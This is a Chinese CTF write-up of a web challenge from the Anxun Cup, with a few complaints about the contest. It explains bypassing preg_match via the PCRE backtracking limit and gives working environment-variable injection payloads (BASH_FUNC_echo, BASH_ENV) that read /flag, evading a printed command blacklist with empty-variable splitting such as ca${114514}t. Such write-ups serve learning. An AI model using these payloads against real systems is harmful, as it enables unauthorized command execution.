一道题学习两个知识点


说点题外话,就是今年的安洵杯老逆天了这件事

其实我连账号都没有的(( 懒狗本质,懒得去注册账号

然后看到群里发的比赛链接,欸,怎么连都进不去

容器环境也打不开… 还是得靠thai神

然后thai神光速做完web1下班,后面就没见到题目解了= =

额,这段话的意思就是很离谱,只能打开第一题的环境…

后面就更搞笑了

比赛直接给paused了,笑死

然后群里都在说这一届安洵杯就是个离谱杯

知乎一看:

Web: 5秒最多10次请求 开局500 公共环境静态flag

Misc:套题

Crypto: misc 简单的密码学不给附件

re:原题

甚至没有pwn

甚至还有开盒,收集学生信息

不过知乎说他们没少看p神文章还挺对的

web 1 就考的两篇p神的文章((

不吹水了,来看看web1

好像忘记源码了…

大概就是get传参名为heizi,开头前5个字符限制为aikun 最后10个字符限制为xiaojijiao,如果字符串为aikunxiaojijiao输出nonono

否则进入下一层

下一层考的是p神的PHP利用PCRE回溯次数限制绕过某些安全限制这篇文章

源码应该是这样的:

1
2
3
4
if(preg_match('/aikun.+?xiaojijiao/is',$heizi)){
die('hack!!!');
}
system('ls'); #好像是这样

如果输入的是aikunaaaaaxiaojijiao的话

  • .+?匹配到a
  • 由于是非贪婪模式.+?停止匹配,由s匹配a(第二个a)
  • 匹配失败,回溯到.+?匹配第2个a
  • 然后停止,s匹配第三个a

随着a的数量增加,回溯次数越来越多,但是回溯次数的上限是100万次,如果超出了这个回溯次数就会返回false

所以我们直接用python打印100万个a写在里面就好了

print('a' * 1000000)

随后进入第二层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);

foreach ($_REQUEST['env'] as $key => $value){
if(blacklist($value)){
putenv("{$key}={$value}");
}else{
echo "Hack!!!";
}
}
system('echo doit');

function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'\"|\\\\/is',$a)===0){
return true;
}
else{
return false;
}
}
#flag在/flag内

这篇就是p神的

我是如何利用环境变量注入执行任意命令

其语句为:

1
2
ENV='$(id 1>&2)' dash -i -c 'echo hello' #dash
BASH_ENV='$(id 1>&2)' bash -c 'echo hello' #bash

在CentOS 8下安装PHP,并使用本文开头的代码,直接运行一个测试服务器:

1
访问1.php?envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}即可执行id命令

而在Bash 4.4以前是:

1
1.php?envs[BASH_FUNC_echo()]=()%20{%20id;%20}

所以直接打就是了

1
/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20cat%20/flag;%20}

不过这里得绕一下blacklist的限制

可以使用空变量绕过:

1
2
3
ca${x}t -->cat
这里x被过滤了,所以换一个比较大的数字作为空变量就对了
ca${114514}t /fl${1919810}ag即可